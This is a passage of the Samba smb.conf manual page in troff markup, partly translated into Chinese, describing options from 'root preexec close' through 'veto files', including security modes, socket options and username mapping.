root preexec close (S)
此项与\fIpreexec close \fR选项含义相同,只是以root身份来运行命令而已.
参见 \fI preexec\fR 和\fIpreexec close\fR.
缺省设置: \fBroot preexec close = no\fR
.TP
security (G)
此项是\fIsmb.conf\fR文件中最重要的一个设定之一,它影响了客户是如何应答Samba服务器的.
这个选项设置了\(lq安全模式位\(rq用于答复协议协商以使\fBsmbd\fR(8) 调整共享安全级是开或者关.客户端根据此位决定是否(以及如何)向服务器传送用户和口令信息.
缺省值是\fBsecurity = user\fR,这也是在Windows 98和Windows NT环境中最常用的设定.
可选的值 \fBsecurity = share\fR, \fBsecurity = server\fR 或者\fBsecurity = domain \fR.
2.0.0版本之前的Samba中,缺省值是 \fBsecurity = share\fR 主要因为当时只有这一个值可选。
在WfWg里有一个错误,当在使用用户和服务器安全级时,WfWg客户将会完全忽略你在"connect
drive"对话框里键入的口令.这就使除了在WfWg里已登录的用户以外的任何人要联接Samba服务项变得非常困难.
如果你的主机使用与UNIX主机上相同的用户名时,就应当使用\fBsecurity = user\fR.如果你用的用户名通常在UNIX上不存在时就应该用\fBsecurity = share\fR.
如果你想设置共享而不用口令的话(访客级共享)也应该用\fBsecurity=share\fR.这通常用于提供共享打印的服务器.在\fBsecurity=user\fR里设定guest帐户非常困难,详细的情况请参见\fImap to guest\fR选项.
\fBsmbd\fR可能会使用一种\fB混杂模式(hybrid)\fR,这样就可以在不同的\fINetBIOS aliases\fR下提供用户和共享级的安全特性.
现在解释各个不同的设定.
\fBSECURITY = SHARE\fR
当客户联接到一个共享安全级的服务器,在联接共享资源之前无需用一个合法的用户名和口令登录到服务器(虽然现在的客户端象WIN95/95及NT在与\fBsecurity = share \fR的服务器交谈时都会以用户名发送一个登录请求,但却没有带口令).相反,客户端会在每一个共享上发送认证信息(口令)以尝试联接到这个共享项.
注意 \fBsmbd\fR \fB总是\fR 用合法的UNIX用户代表客户进行操作, 即使是在 \fBsecurity = share\fR 的时候.
因为在共享安全级中,客户无需向服务器发送用户名,所以\fBsmbd\fR用一些技术来为客户决定正确的UNIX用户账号.
用于匹配给出客户口令的可能的UNIX用户名列表可以用以下方法建立:
如果设置了\fIguest only\fR选项,则跳过所有其它步骤只检查\fIguest account\fR用户名.
如果通过共享连接请求发送一个用户名,则此用户名(映射后 - 参见\fIusername map\fR)被作为潜在用户名加入.
如果客户使用一个先前的 \fBlogon \fR 请求(SessionSetup SMB调用)则在SMB中发送的用户名将作为潜在用户名加入.
客户请求的服务项名被作为潜在用户名加入.
客户的NetBIOS名被作为潜在用户名加入到列表中.
在\fIuser\fR列表中的任何用户都被作为潜在用户名加入.
如果未设\fIguest only\fR选项,则使用提供的口令来尝试此列表.对于匹配到口令的第一个用户将作为UNIX用户身份使用.
如果设置了\fIguest only\fR选项或未检测到用户名,则如果共享项中标志为可以使用\fIguest account\fR,那么使用此访客用户账号,否则拒绝访问.
注意,在共享安全级中关于哪个UNIX用户名最后将在允许访问中使用\fB非常\fR混淆.
参见NOTE ABOUT USERNAME/PASSWORD VALIDATION段.
\fBSECURITY = USER\fR
这是samba2.0/3.0缺省安全级设置.对于用户安全级,一个客户必须先以合法的用户名和口令(也可以用\fIusername map\fR选项进程映射)\(lq登录\(rq.在此安全模式中也可使用加密口令(参见\fIencrypted passwords\fR选项).如果设置了如\fIuser\fR和\fIguest only\fR这样的选项,则它们会被应用并且在此连接上更改UNIX用户账号,但只能在用户账号被成功验证之后才行.
\fB注意\fR,当服务器成功验证客户身份之前,请求的资源名称是\fB不\fR发送到服务器上的.这就是为什么用户安全级中在没有允许服务器自动把未知用户映射为\fIguest account\fR的情况下,访客共享无法工作.参见\fImap to guest\fR选项获得完成映射的细节.
参见NOTE ABOUT USERNAME/PASSWORD VALIDATION段.
\fBSECURITY = DOMAIN\fR
只有已经用 \fBnet\fR(8)把服务器添加进一个Windows NT的域中,此安全模式才能正常工作.它要求\fIencrypted passwords\fR选项设为\fByes\fR.在此模式中Samba将试图把用户名/口令传送到一个WindowsNT主域或备份域控制器进行验证像一台真正的WindowsNT服务器那样。
\fB注意\fR,仍然需要存在一个和域控制器上的用户名一致的有效的UNIX用户,来使Samba拥有一个有效的UNIX帐户来映射存取文件操作。
\fB注意\fR,对于客户端来说,\fIsecurity=domain\fR模式与\fIsecurity=user\fR是一样的.它只影响
服务器处理验证工作的方式.对于客户端无任何影响.
\fB注意\fR,当服务器成功验证客户身份之前,请求的资源名称是不发送到服务器上的.这就是为什么域安全级中在没有允许服务器自动把未知用户映射为\fBguest account\fR的情况下,访客共享无法工作.参见\fImap to guest\fR选项获得完成映射的细节
参见 NOTE ABOUT USERNAME/PASSWORD VALIDATION 段.
参见 \fIpassword server\fR parameter 和 \fIencrypted passwords\fR 选项。
\fBSECURITY = SERVER\fR
在此模式中Samba将试图把用户名/口令传送到其它SMB服务器,比如一台NT服务器,进行验证.如果验证失败则回到\fBsecurity = user\fR模式,它需要\fIencrypted passwords\fR 参数设置为\fByes\fR,除非远端系统不支持它们。但是要注意,如果使用了加密口令的话,samba不会再去检查UNIX系统口令文件的,它必须有一个合法的\fIsmbpasswd\fR文件以再次检查用户账号.参见Samba HOWTO Collection 中关于User Database 的章节来获得如何设置的信息。
This mode of operation has significant pitfalls, due to the fact that is activly initiates a man-in-the-middle attack on the remote SMB server\&. In particular, this mode of operation can cause significant resource consuption on the PDC, as it must maintain an active connection for the duration of the user's session\&. Furthermore, if this connection is lost, there is no way to reestablish it, and futher authenticaions to the Samba server may fail. (From a single client, till it disconnects).
\fB注意\fR,对于客户端来说,\fBsecurity=server\fR模式与\fBsecurity=user\fR是一样的.它只影响服务器处理验证工作的方式.对于客户端无任何影响.
\fB注意\fR,当服务器成功验证客户身份之前,请求的资源名称是\fB不\fR发送到服务器上的.这就是为什么服务器安全级中在没有允许服务器自动把未知用户映射为\fIguest account\fR的情况下,访客共享无法工作.参见 \fImap to guest\fR选项获得完成映射的细节.
参见 NOTE ABOUT USERNAME/PASSWORD VALIDATION 段.
参见 \fIpassword server\fR parameter 和 \fIencrypted passwords\fR 选项。
\fBSECURITY = ADS\fR
In this mode, Samba will act as a domain member in an ADS realm\&. To operate in this mode, the machine running Samba will need to have Kerberos installed and configured and Samba will need to be joined to the ADS realm using the net utility.
Note that this mode does NOT make Samba operate as a Active Directory Domain Controller.
Read the chapter about Domain Membership in the HOWTO for details.
参见 \fIads server \fR parameter, the \fIrealm \fR paramter 和\fIencrypted passwords\fR 选项。
缺省设置: \fBsecurity = USER\fR
示例: \fBsecurity = DOMAIN\fR
.TP
security mask (S)
此选项控制NT客户用本地NT安全对话框操作UNIX权限时对权限所作的修改情况.
This parameter controls what UNIX permission bits can be modified when a Windows NT client is manipulating the UNIX permission on a file using the native NT security dialog box\&.
此选项用掩码值'与'实现对权限位的更改,从而防止修改未出现在此掩码中的任何位.可以将掩码中的0看作用户无权更改的位值.
This parameter is applied as a mask (AND'ed with) to the changed permission bits, thus preventing any bits not in this mask from being modified\&. Essentially, zero bits in this mask may be treated as a set of bits the user is not allowed to change\&.
如未明确设定此选项,则把此选项设为0777,允许用户修改文件的所有user/group/world这些权限.
\fB注意\fR,可通过其它手段访问到Samba服务器的用户可以轻而易举地绕过此限制,所以此选项只对独立的服务器系统有用.多数普通系统的管理员可以将它保留为\fB0777\fR.
参见 \fIforce directory security mode\fR, \fIdirectory security mask\fR, \fIforce security mode\fR 选项.
缺省设置: \fBsecurity mask = 0777\fR
示例: \fBsecurity mask = 0770\fR
.TP
server schannel (G)
This controls whether the server offers or even demands the use of the netlogon schannel\&. \fIserver schannel = no\fR does not offer the schannel, \fIserver schannel = auto\fR offers the schannel but does not enforce it, and \fIserver schannel = yes\fR denies access if the client is not able to speak netlogon schannel\&. This is only the case for Windows NT4 before SP4\&.
Please note that with this set to \fIno\fR you will have to apply the WindowsXP requireSignOrSeal-Registry patch found in the docs/Registry subdirectory\&.
缺省设置: \fBserver schannel = auto\fR
示例: \fBserver schannel = yes\fR
.TP
server signing (G)
This controls whether the server offers or requires the client it talks to to use SMB signing\&. Possible values are \fBauto\fR, \fBmandatory\fR and \fBdisabled\fR\&.
When set to auto, SMB signing is offered, but not enforced\&. When set to mandatory, SMB signing is required and if set to disabled, SMB signing is not offered either\&.
缺省设置: \fBclient signing = False\fR
.TP
server string (G)
此选项在打印管理器中的打印机信息对话框以及在\fBnet view\fR(网上邻居)的IPC连接中显示的服务器信息.它可以是任何你希望向用户显示的字串.
它还设置显示在浏览列表中主机名后的内容.
\fI%v\fR 将替换为Samba版本号
\fI%h\fR 将替换为主机名
缺省设置: \fBserver string = Samba %v\fR
示例: \fBserver string = University of GNUs Samba Server\fR
.TP
set directory (S)
如果 \fBset directory = no\fR,则使用服务的用户不能用setdir命令更变目录.
\fBsetdir\fR命令只在Digital Pathworks客户端中实现.参见Pathworks文档的细节.
缺省设置: \fBset directory = no\fR
.TP
set primary group script (G)
Thanks to the Posix subsystem in NT a Windows User has a primary group in addition to the auxiliary groups\&. This script sets the primary group in the unix userdatase when an administrator sets the primary group from the windows user manager or when fetching a SAM with \fBnet rpc vampire\fR\&. \fI%u\fR will be replaced with the user whose primary group is to be set\&. \fI%g\fR will be replaced with the group to set\&.
缺省设置: \fBNo default value\fR
示例: \fBset primary group script = /usr/sbin/usermod -g '%g' '%u'\fR
.TP
set quota command (G)
The \fBset quota command\fR should only be used whenever there is no operating system API available from the OS that samba can use\&.
This parameter should specify the path to a script that can set quota for the specified arguments\&.
The specified script should take the following arguments:
1 - quota type .TP 3 \(bu 1 - user quotas .TP \(bu 2 - user default quotas (uid = -1) .TP \(bu 3 - group quotas .TP \(bu 4 - group default quotas (gid = -1) .LP
2 - id (uid for user, gid for group, -1 if N/A)
3 - quota state (0 = disable, 1 = enable, 2 = enable and enforce)
4 - block softlimit
5 - block hardlimit
6 - inode softlimit
7 - inode hardlimit
8(optional) - block size, defaults to 1024
The script should output at least one line of data\&.
参见 \fIget quota command\fR 选项。
缺省设置: \fBset quota command = \fR
示例: \fBset quota command = /usr/local/sbin/set_quota\fR
.TP
share modes (S)
此选项在一个文件打开时允许或禁止\fIshare modes\fR.此模式可用于使客户获得对一个文件独占的读或写访问.
这些打开模式UNIX是不直接支持的,所以要用共享内存或在UNIX不支持共享内存时(一般都支持)用锁定文件来模拟.
允许共享模式的选项是\fBDENY_DOS\fR, \fBDENY_ALL\fR, \fBDENY_READ\fR,\fBDENY_WRITE\fR, \fBDENY_NONE\fR 和\fBDENY_FCB\fR.
缺省情况下此选项提供了完全的共享兼容和许可.
你 \fB不应\fR 把此选项关闭因为很多Windows应用会因此停止运行。
缺省设置: \fBshare modes = yes\fR
.TP
short preserve case (S)
此布尔值选项控制着如果新文件符合8.3文件名格式(所有字母都为大写且长度适当),则以大写字母建立文件,否则就转换为\fIdefault case \fR.此选项可与\fBpreserve case = yes\fR选项联用,以允许长文件名保留大小写,同时短文件名转换为小写。
参见 NAME MANGLING 段.
缺省设置: \fBshort preserve case = yes\fR
.TP
show add printer wizard (G)
With the introduction of MS-RPC based printing support for Windows NT/2000 client in Samba 2\&.2, a "Printers\&.\&.\&." folder will appear on Samba hosts in the share listing\&. Normally this folder will contain an icon for the MS Add Printer Wizard (APW)\&. However, it is possible to disable this feature regardless of the level of privilege of the connected user\&.
Under normal circumstances, the Windows NT/2000 client will open a handle on the printer server with OpenPrinterEx() asking for Administrator privileges\&. If the user does not have administrative access on the print server (i\&.e is not root or a member of the \fIprinter admin\fR group), the OpenPrinterEx() call fails and the client makes another open call with a request for a lower privilege level\&. This should succeed, however the APW icon will not be displayed\&.
Disabling the \fIshow add printer wizard\fR parameter will always cause the OpenPrinterEx() on the server to fail\&. Thus the APW icon will never be displayed\&. \fB Note :\fRThis does not prevent the same user from having administrative privilege on an individual printer\&.
参见 \fIaddprinter command\fR, \fIdeleteprinter command\fR, \fIprinter admin\fR
Default :\fBshow add printer wizard = yes\fR
.TP
shutdown script (G)
\fBThis parameter only exists in the HEAD cvs branch\fR This a full path name to a script called by \fBsmbd\fR(8) that should start a shutdown procedure\&.
This command will be run as the user connected to the server\&.
%m %t %r %f parameters are expanded:
\fI%m\fR will be substituted with the shutdown message sent to the server\&.
\fI%t\fR will be substituted with the number of seconds to wait before effectively starting the shutdown procedure\&.
\fI%r\fR will be substituted with the switch \fB-r\fR\&. It means reboot after shutdown for NT\&.
\fI%f\fR will be substituted with the switch \fB-f\fR\&. It means force the shutdown even if applications do not respond for NT\&.
缺省设置: \fBNone\fR\&.
示例: \fBshutdown script = /usr/local/samba/sbin/shutdown %m %t %r %f\fR
Shutdown script example:
.nf
#!/bin/bash
$time=0
let "time/60"
let "time++"
/sbin/shutdown $3 $4 +$time $1 &
.fi
Shutdown does not return so we need to launch it in background\&.
参见 \fIabort shutdown script\fR\&.
.TP
smb passwd file (G)
此选项设置加密口令文件smbpasswd的路径.缺省路径在编译samba时指定.
缺省设置: \fBsmb passwd file = ${prefix}/private/smbpasswd\fR
示例: \fBsmb passwd file = /etc/samba/smbpasswd\fR
.TP
smb ports (G)
Specifies which ports the server should listen on for SMB traffic\&.
缺省设置: \fBsmb ports = 445 139\fR
.TP
socket address (G)
此选项允许你控制samba监听连接所用的地址.它用于在一个服务器上支持多个配置不同的虚拟接口.缺省情况下samba会在任何地址上都接受连接请求.
By default Samba will accept connections on any address\&.
示例: \fBsocket address = 192.168.2.20\fR
.TP
socket options (G)
此选项设置用于与客户端交谈的套接字选项.
套接字选项是使用在允许调整连接的操作系统的网络层的控制命令.
此选项通常用于在局域网上优化调整samba服务器的性能.因为samba无法知道与你的网络所对应的优化选项,所以你必须自己进行试验并作出选择.我们强烈推荐你先阅读与你的操作系统有关的相应文件(也许\fBman setsockopt\fR会有帮助).
你可能会发现在有些系统上samba会在你使用一个选项时发出"Unknown socket option"的信息.这就说明你没有正确拼写或者需要为操作系统添加一个包含文件到includes.h中.如有后面指出的问题请写信到samba-bugs@samba.org.
只要操作系统允许,你可以以任何方法组合任何所支持的套接字选项.
当前可用于此选项的可设置套接字选项列表有:
SO_KEEPALIVE
SO_REUSEADDR
SO_BROADCAST
TCP_NODELAY
IPTOS_LOWDELAY
IPTOS_THROUGHPUT
SO_SNDBUF *
SO_RCVBUF *
SO_SNDLOWAT *
SO_RCVLOWAT *
标有\fB'*'\fR的要使用一个整数参数.其它的有时使用1或0代表允许或禁止该选项,如未指定1或0则缺省值都为允许.
要指定一个变量,用"SOME_OPTION=VALUE"格式。比如可以是SO_SNDBUF=8192.注意,在"="前后不能有任何空格.
如在局域网上,则使用下面这个是比较明智的:
\fBsocket options = IPTOS_LOWDELAY\fR
如有一个局域网则可以试一下:
\fBsocket options = IPTOS_LOWDELAY TCP_NODELAY\fR
如有一个广域网,则试一下IPTOS_THROUGHPU.
注意有些选项可导致samba服务器完全失效.小心使用它们!
缺省设置: \fBsocket options = TCP_NODELAY\fR
示例: \fBsocket options = IPTOS_LOWDELAY\fR
.TP
source environment (G)
This parameter causes Samba to set environment variables as per the content of the file named\&.
If the value of this parameter starts with a "|" character then Samba will treat that value as a pipe command to open and will set the environment variables from the output of the pipe\&.
The contents of the file or the output of the pipe should be formatted as the output of the standard Unix \fBenv(1)\fR command\&. This is of the form:
Example environment entry:
\fBSAMBA_NETBIOS_NAME = myhostname\fR
缺省设置: \fBNo default value\fR
Examples: \fBsource environment = |/etc/smb.conf.sh\fR
示例: \fBsource environment = /usr/local/smb_env_vars\fR
.TP
stat cache (G)
此选项检测\fBsmbd\fR(8)是否使用缓存以提升映射不分大小写名称的速度.你无须更改此选项.
缺省设置: \fBstat cache = yes\fR
.TP
strict allocate (S)
This is a boolean that controls the handling of disk space allocation in the server\&. When this is set to \fByes\fR the server will change from UNIX behaviour of not committing real disk storage blocks when a file is extended to the Windows behaviour of actually forcing the disk system to allocate real storage blocks when a file is created or extended to be a given size\&. In UNIX terminology this means that Samba will stop creating sparse files\&. This can be slow on some systems\&.
When strict allocate is \fBno\fR the server does sparse disk block allocation when a file is extended\&.
Setting this to \fByes\fR can help Samba return out of quota messages on systems that are restricting the disk quota of users\&.
缺省设置: \fBstrict allocate = no\fR
.TP
strict locking (S)
此布尔量选项控制服务器对文件锁的处理.当设为\fByes\fR,则服务器对文件锁检查每次读写访问,并拒绝锁存在时的访问.在有些系统上这可能会很慢.
当禁用strict locking时,服务器只在客户明确要求时才为他们检查文件锁.
循规蹈矩的客户总是在重要的时候要求检查文件锁,所以在多数情况下\fBstrict locking = no\fR是可取的.
缺省设置: \fBstrict locking = no\fR
.TP
strict sync (S)
很多Windows应用(包括Windows 98浏览器)都会干扰对刷新缓冲区内容到磁盘的操作.在UNIX下,一次同步调用强制进程挂起,直到内核确保把所有磁盘缓存区中的未完成数据安全地存到固定存储设备中为止.此操作很慢,而且只能很少用到.把此选项设为\fBno\fR (缺省值)说明\fBsmbd\fR(8) 忽略Windows应用请求的一次同步调用.这样只有在Samba运行的操作系统崩溃时才可能丢失数据,因此缺省设置危险性很小.另外,它修正人们报告的很多关于Windows98浏览器拷贝文件的性能问题.
参见 \fIsync always\fR 选项。
缺省设置: \fBstrict sync = no\fR
.TP
sync always (S)
此布尔量选项控制是否在写操作结束前把所写的内容写到固定存储设备上.如果为\fBno\fR则服务器将在每次写调用中让客户请求来操纵它(客户可以设置一个位码来指出要同步一次特殊的写操作).如果为\fByes\fR则在每次写操作后调用一次\fBfsync() \fR以确保将数据写到磁盘上.注意必须把\fIstrict sync\fR选项设为\fByes\fR以使本选项产生效果.
参见 \fIstrict sync\fR 选项。
缺省设置: \fBsync always = no\fR
.TP
syslog (G)
此选项决定samba调试信息号如何映射为系统syslog的记录等级.调试级0映射为syslog的\fBLOG_ERR\fR,调试级1映射为 \fBLOG_WARNING\fR,调试级2映射为\fBLOG_NOTICE\fR,调试级3映射为\fBLOG_INFO\fR.所有更高的级别号映射为\fB LOG_DEBUG\fR.
此选项设置了对syslog发送信息的阈值.只有小于此值的调试级信息号才发给syslog.
缺省设置: \fBsyslog = 1\fR
.TP
syslog only (G)
此选项使samba只把调试级别号记录到系统syslog,而不是调试记录文件.
缺省设置: \fBsyslog only = no\fR
.TP
template homedir (G)
When filling out the user information for a Windows NT user, the \fBwinbindd\fR(8) daemon uses this parameter to fill in the home directory for that user\&. If the string \fI%D\fR is present it is substituted with the user's Windows NT domain name\&. If the string \fI%U\fR is present it is substituted with the user's Windows NT user name\&.
缺省设置: \fBtemplate homedir = /home/%D/%U\fR
.TP
template primary group (G)
This option defines the default primary group for each user created by \fBwinbindd\fR(8)'s local account management functions (similar to the 'add user script')\&.
缺省设置: \fBtemplate primary group = nobody\fR
.TP
template shell (G)
When filling out the user information for a Windows NT user, the \fBwinbindd\fR(8) daemon uses this parameter to fill in the login shell for that user\&.
缺省设置: \fBtemplate shell = /bin/false\fR
.TP
time offset (G)
此选项是个加入到转换标准GMT为当地时间操作的分钟数.如果你向很多有不正确保存时间操作的主机提供服务时这就很有用了.
缺省设置: \fBtime offset = 0\fR
示例: \fBtime offset = 60\fR
.TP
time server (G)
此选项检测\fBnmbd\fR(8) 是否以时间服务器身份向Windows客户通告自身.
缺省设置: \fBtime server = no\fR
.TP
timestamp logs (G)
与 \fI debug timestamp\fR 同义.
.TP
unicode (G)
Specifies whether Samba should try to use unicode on the wire by default\&. Note: This does NOT mean that samba will assume that the unix machine uses unicode!
缺省设置: \fBunicode = yes\fR
.TP
unix charset (G)
Specifies the charset the unix machine Samba runs on uses\&. Samba needs to know this in order to be able to convert text to the charsets other SMB clients use\&.
缺省设置: \fBunix charset = UTF8\fR
示例: \fBunix charset = ASCII\fR
.TP
unix extensions (G)
This boolean parameter controls whether Samba implments the CIFS UNIX extensions, as defined by HP\&. These extensions enable Samba to better serve UNIX CIFS clients by supporting features such as symbolic links, hard links, etc\&.\&.\&. These extensions require a similarly enabled client, and are of no current use to Windows clients\&.
缺省设置: \fBunix extensions = yes\fR
.TP
unix password sync (G)
此布尔量选项控制samba是否在smbpasswd文件中的加密SMB口令被更改时尝试用SMB口令来同步UNIX口令.如设为\fByes\fR则\fB以root身份\fR调用\fIpasswd program\fR选项中指定的程序 - 以允许设置新的UNIX口令而无需访问原UNIX口令(因为更改SMB口令时代码不访问明文的原口令而只涉及新口令).
参见 \fIpasswd program\fR, \fI passwd chat\fR.
缺省设置: \fBunix password sync = no\fR
.TP
update encrypted (G)
此布尔量选项使以明文口令登录的用户在登录时自动更新smbpasswd文件中的加密
(散列计算过的)口令.此选项允许一个站点从明文口令验证方式(以明文口令验证用
户账号并再次检查UNIX账号数据库)移植到加密口令验证方式(SMB的询问/响应验证
机制)而无需强制所有用户在移植时通过smbpasswd重新输入他们的口令.这对改变加
密口令移交要较长周期这种状况来说很方便.一旦所有用户都在smbpasswd文件中拥
有他们加密过的口令,则此应该把此选项设为\fBno\fR.
为了让此选项正确工作,当它设为\fByes\fR时必须把 \fIencrypt passwords\fR选项设为\fBno\fR .
注意即使设置了此选项,\fBsmbd\fR还是必须验证用户账号,直到输入合法的口令后才能正确连接并更新他们的散列计算(由smbpasswd完成)后的口令字.
缺省设置: \fBupdate encrypted = no\fR
.TP
use client driver (S)
This parameter applies only to Windows NT/2000 clients\&. It has no effect on Windows 95/98/ME clients\&. When serving a printer to Windows NT/2000 clients without first installing a valid printer driver on the Samba host, the client will be required to install a local printer driver\&. From this point on, the client will treat the print as a local printer and not a network printer connection\&. This is much the same behavior that will occur when \fBdisable spoolss = yes\fR\&.
The differentiating factor is that under normal circumstances, the NT/2000 client will attempt to open the network printer using MS-RPC\&. The problem is that because the client considers the printer to be local, it will attempt to issue the OpenPrinterEx() call requesting access rights associated with the logged on user\&. If the user possesses local administator rights but not root privilegde on the Samba host (often the case), the OpenPrinterEx() call will fail\&. The result is that the client will now display an "Access Denied; Unable to connect" message in the printer queue window (even though jobs may successfully be printed)\&.
If this parameter is enabled for a printer, then any attempt to open the printer with the PRINTER_ACCESS_ADMINISTER right is mapped to PRINTER_ACCESS_USE instead\&. Thus allowing the OpenPrinterEx() call to succeed\&. \fBThis parameter MUST not be able enabled on a print share which has valid print driver installed on the Samba server\&.\fR
参见 \fIdisable spoolss\fR
缺省设置: \fBuse client driver = no\fR
.TP
use mmap (G)
This global parameter determines if the tdb internals of Samba can depend on mmap working correctly on the running system\&. Samba requires a coherent mmap/read-write system memory cache\&. Currently only HPUX does not have such a coherent cache, and so this parameter is set to \fBno\fR by default on HPUX\&. On all other systems this parameter should be left alone\&. This parameter is provided to help the Samba developers track down problems with the tdb internal code\&.
缺省设置: \fBuse mmap = yes\fR
.TP
user (S)
与 \fIusername\fR 同义
.TP
username (S)
在逗号分隔的列表中指定多个用户以用于轮流(从左到右)测试所提供的口令.
只有当主机无法提供它自己的用户名时才需要\fIusername\fR选项。当用COREPLUS
协议或你的用户拥有与UNIX用户名不同的WfWg用户名时就会有这样的情况.在这两种
情况下,用\\\\server\\share%user语句代替会更好的.
在大多数情况下\fIusername\fR选项并不是最好的解决方案,因为它意味着Samba会
尝试对\fIusername\fR选项行中的每个用户名轮流作测试.这样做是很慢的,而且万
一很多用户重复口令的话这就是个坏主意了.错误使用此选项可能会带来超时或安全
缺陷.
samba依靠底层的UNIX安全.此选项不限制登录者,它只对Samba服务器提供响应所提
供口令的用户名的线索.任何喜欢的人都可以登录,而且如果他们只是启动一次
telnet对话的话不会造成破坏.进程以登录的用户身份运行,所以他们无法做任何他
们不能做的事儿.
要对一组特殊的用户限制一个服务的话可以用 \fIvalid users \fR 选项.
如果任何用户名以'@'字符开始则此用户名将首先在NIS网络组列表(如果Samba编译
时加入了网络组支持的话)中进行查找,然后在UNIX用户组数据库中查找并展开成属
于以此名为组的所有用户的列表.
如果任何用户名以'+'字符开始则此用户名只在UNIX用户组数据库中进行查找并展开成属于以此名为组的所有用户的列表.
如果任何用户名以'&'字符开始则此用户名只在NIS网络组列表(如果Samba编译时加入了网络组支持的话)中进行查找并展开成属于以此名为组的所有用户的列表.
注意通过用户组数据库进行查找要花很长时间,在此期间有些客户可能会超时.
查看 NOTE ABOUT USERNAME/PASSWORD VALIDATION 段来获得这个选项如何决定访问服务方面的信息。
缺省设置: \fB如果是guest服务就是guest帐号,否则是空字符串.\fR
示例:\fBusername = fred, mary, jack, jane, @users, @pcgroup\fR
.TP
username level (G)
此选项在很多DOS客户发送全大写的用户名时,帮助samba尝试和\(lq猜测\(rq实际
UNIX用户名.对于缺省情况,Samba尝试所有小写形式,然后是首字母大写形式,如果该
用户名在UNIX主机上没有找到则失败.
如果把此选项设为非0,则情况就改变了.此选项指定的是用于尝试同时检测UNIX用户名的大写字母的组合数.数字越高,则尝试的组合数越多,但用户名的发现也越慢.当在你的UNIX主机上有奇特的用户名如\fBAstrangeUser \fR时使用此选项.
缺省设置: \fBusername level = 0\fR
示例: \fBusername level = 5\fR
.TP
username map (G)
此选项允许你指定一个包含对客户机到服务器上的用户名映射的文件.它可用于几个目的.最常见的是把用DOS或Windows主机的用户的名称映射到UNIX主机上的用户.其它还有把多个用户映射到单个用户名上以使他们可以更简单地共享文件.
映射文件被逐行解析.每个行都应该在'='号左边包含一个UNIX用户名,而在右边跟上一列用户名.右边的用户名列表可以包含@group形式的名称,它表示匹配任何组中的UNIX用户名.特殊客户名'*'是一个通配符用于匹配任何名称.映射文件的每个行可以达到1023个字符的长度.
对文件的处理是在每个行上取得提供的用户名并把它与'='号右边的每个用户名进行比较.如果提供的名称匹配右边的任何名称则用左边的名称替换右边的.然后继续处理下一行.
忽略以'#' 或 ';'号开始的行.
当在行中发现了匹配,则在以'!'开始的行后中止处理,否则继续处理每一行的映射.当你在文件中用了通配映射的话'!'就很有用了.
例如把名称\fBadmin\fR 或 \fBadministrator\fR映射为UNIX名\fB root\fR,你可以这样:
\fBroot = admin administrator\fR
或把UNIX组 \fBsystem\fR中的任何人映射为UNIX名\fBsys\fR就可以这样:
\fBsys = @system\fR
可以在一个用户名映射文件中包含很多映射关系.
如果你的系统支持NIS NETGROUP选项,则在使用\fI/etc/group \fR匹配组之前先检查网络组数据库.
你可以通过在名称上使用双引号来映射含有空格的Windows用户名.例如:
\fBtridge = "Andrew Tridgell"\fR
将把windows用户名"Andrew Tridgell"映射为unix用户名"tridge".
以下示例将把mary和fred映射为unix用户sys,然后把其余的映射为guest.注意使用'!'符号可以告诉Samba如果在该行获得一个匹配的话就停止处理.
.nf
!sys = mary fred
guest = *
.fi
注意重映射作用于所有出现用户名的地方.因此如果你连接到\\\\server\\fred而\fB fred\fR已被重映射为 \fBmary\fR,则你实际会连接到\\\\server\\mary"并需要提供\fBmary\fR的口令而不是 \fBfred\fR的.这种情况只有一个例外,那就是用户名是被传到\fI password server\fR(如果你有一个的话)验证的.口令服务器会接收客户提供的未经修改的用户名.
同时要注意反向映射是不会出现的.这主要影响的是打印任务.已经被映射的用户会在删除打印任务时遇到麻烦,因为WfWg上的打印管理器会认为他们不是打印任务的属主.
缺省设置: \fBno username map\fR
示例: \fBusername map = /usr/local/samba/lib/users.map\fR
.TP
users (S)
与 \fI username\fR 同义.
.TP
use sendfile (S)
If this parameter is \fByes\fR, and Samba was built with the --with-sendfile-support option, and the underlying operating system supports sendfile system call, then some SMB read calls (mainly ReadAndX and ReadRaw) will use the more efficient sendfile system call for files that are exclusively oplocked\&. This may make more efficient use of the system CPU's and cause Samba to be faster\&. This is off by default as it's effects are unknown as yet\&.
缺省设置: \fBuse sendfile = no\fR
.TP
use spnego (G)
This variable controls controls whether samba will try to use Simple and Protected NEGOciation (as specified by rfc2478) with WindowsXP and Windows2000 clients to agree upon an authentication mechanism\&. Unless further issues are discovered with our SPNEGO implementation, there is no reason this should ever be disabled\&.
缺省设置: \fBuse spnego = yes\fR
.TP
utmp (G)
This boolean parameter is only available if Samba has been configured and compiled with the option \fB --with-utmp\fR\&. If set to \fByes\fR then Samba will attempt to add utmp or utmpx records (depending on the UNIX system) whenever a connection is made to a Samba server\&. Sites may use this to record the user connecting to a Samba share\&.
Due to the requirements of the utmp record, we are required to create a unique identifier for the incoming user\&. Enabling this option creates an n^2 algorithm to find this number\&. This may impede performance on large installations\&.
参见 \fI utmp directory\fR 选项。
缺省设置: \fButmp = no\fR
.TP
utmp directory (G)
This parameter is only available if Samba has been configured and compiled with the option \fB --with-utmp\fR\&. It specifies a directory pathname that is used to store the utmp or utmpx files (depending on the UNIX system) that record user connections to a Samba server\&. 参见 \fIutmp\fR 选项。 By default this is not set, meaning the system will use whatever utmp file the native system is set to use (usually \fI/var/run/utmp\fR on Linux)\&.
缺省设置: \fBno utmp directory\fR
示例: \fButmp directory = /var/run/utmp\fR
.TP
-valid (S)
This parameter indicates whether a share is valid and thus can be used\&. When this parameter is set to false, the share will be in no way visible nor accessible\&.
This option should not be used by regular users but might be of help to developers\&. Samba uses this option internally to mark shares as deleted\&.
缺省设置: \fBTrue\fR
.TP
valid users (S)
这是一份允许登录服务项的用户列表.以'@','+'和'&'开始的名称用\fIinvalid users\fR 选项中的规则进行解析.
如果此项为空(缺省)则任何用户都可以登录.如果一个用户名同时存在于此列表及\fIinvalid users\fR列表,则拒绝此用户访问.
\fI%S \fR替换为当前服务名. 这在[homes]段里非常有用.
参见 \fIinvalid users \fR
缺省设置: \fB空 (任何人都不会被拒绝) \fR
示例: \fBvalid users = greg, @pcusers\fR
.TP
veto files (S)
这是一份既不可见又不可访问的文件及目录的列表.在列表中的每一项必须用'/'进行分隔,项目中允许有空格.可以用DOS通配符'*'和'?'来指定多个文件或目录.
每项必须是一个UNIX路径,而非一个DOS路径,同时\fB必须不含\fR UNIX目录分隔符'/'.
注意\fIcase sensitive\fR选项适用于对文件的禁止目的.
